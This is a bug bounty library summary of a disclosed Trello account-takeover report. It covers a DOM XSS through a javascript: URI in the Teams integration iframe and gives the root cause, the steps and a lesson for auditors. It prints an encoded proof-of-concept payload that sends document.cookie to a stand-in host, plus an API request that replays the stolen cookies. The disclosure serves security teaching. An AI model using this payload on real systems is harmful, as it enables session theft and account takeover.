# Account Takeover at https://trello.com

DOM XSS via unvalidated contentUrl in Trello Teams integration iframe src allows javascript: URI to steal non-HttpOnly session cookies and hijack any account.

- Payout: $3,600
- Severity: high
- Program: Trello
- Found by: AnkitSingh
- Disclosed: 2022-05-25
- Write-up quality: 7/10
- Original: https://bugcrowd.com/disclosures/81d71c8d-952e-450c-82d9-f7ef8cfd7fe5/account-takeover-at-https-trello-com
- Library page: https://bugbountylibrary.com/r/bc%3A5db6b239-491e-457c-b7cc-3246d8e2aed7
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:bugcrowd sev:high technique:source-review vuln:account-takeover vuln:xss

**Target:** trello.com /integrations/teams/tab-content endpoint (Teams integration iframe)
**Root cause:** contentUrl query param is concatenated directly into an iframe src attribute without scheme validation, allowing javascript: URIs to execute in trello.com origin.
**Steps:**
1. Craft URL: `https://trello.com/integrations/teams/tab-content?contentUrl=javascript:decodeURIComponent('<encoded script>')//`
2. Payload script sets `document.location='https://example.com?param='+document.cookie`
3. Victim clicks link; cookies (including `token` CSRF token) exfiltrated to attacker domain
4. Attacker replays stolen cookies in request to `https://trello.com/1/Members/me?tokens=all&sessions=all&credentials=all&logins=true&enterprises=true&enterprise_fields=prefs&token_plugins=true`
5. Response returns victim details confirming session hijack
**How found:** Code review of tab-content-configurable.js revealed contentUrl concatenated into iframe src without validation; hypothesized javascript: scheme would execute in parent origin.
**Exploitation:** Send crafted link to victim; single click executes JS in trello.com origin, exfiltrating non-HttpOnly cookies including session token and CSRF token. Attacker replays cookies against Trello API to impersonate victim and gain admin of associated workspace.
**Escalation:** Cookie theft escalates to full account takeover and workspace admin via API replay with stolen session/CSRF tokens.
**Insight:** When auditing iframe src construction, test `javascript:` and `data:` schemes—sandbox allow-scripts+allow-same-origin together nullifies sandbox isolation, and non-HttpOnly session cookies make XSS a direct ATO.

## Proof of concept (copied exactly from the original report)

**XSS URL with javascript: contentUrl payload**

```
https://trello.com/integrations/teams/tab-content?contentUrl=javascript:decodeURIComponent('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%60%68%74%74%70%73%3a%2f%2f%65%78%61%6d%70%6c%65%2e%63%6f%6d%3f%70%61%72%61%6d%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e')//
```

**Request replaying stolen cookie to dump victim data**

```
https://trello.com/1/Members/me?tokens=all&sessions=all&credentials=all&logins=true&enterprises=true&enterprise_fields=prefs&token_plugins=true
```

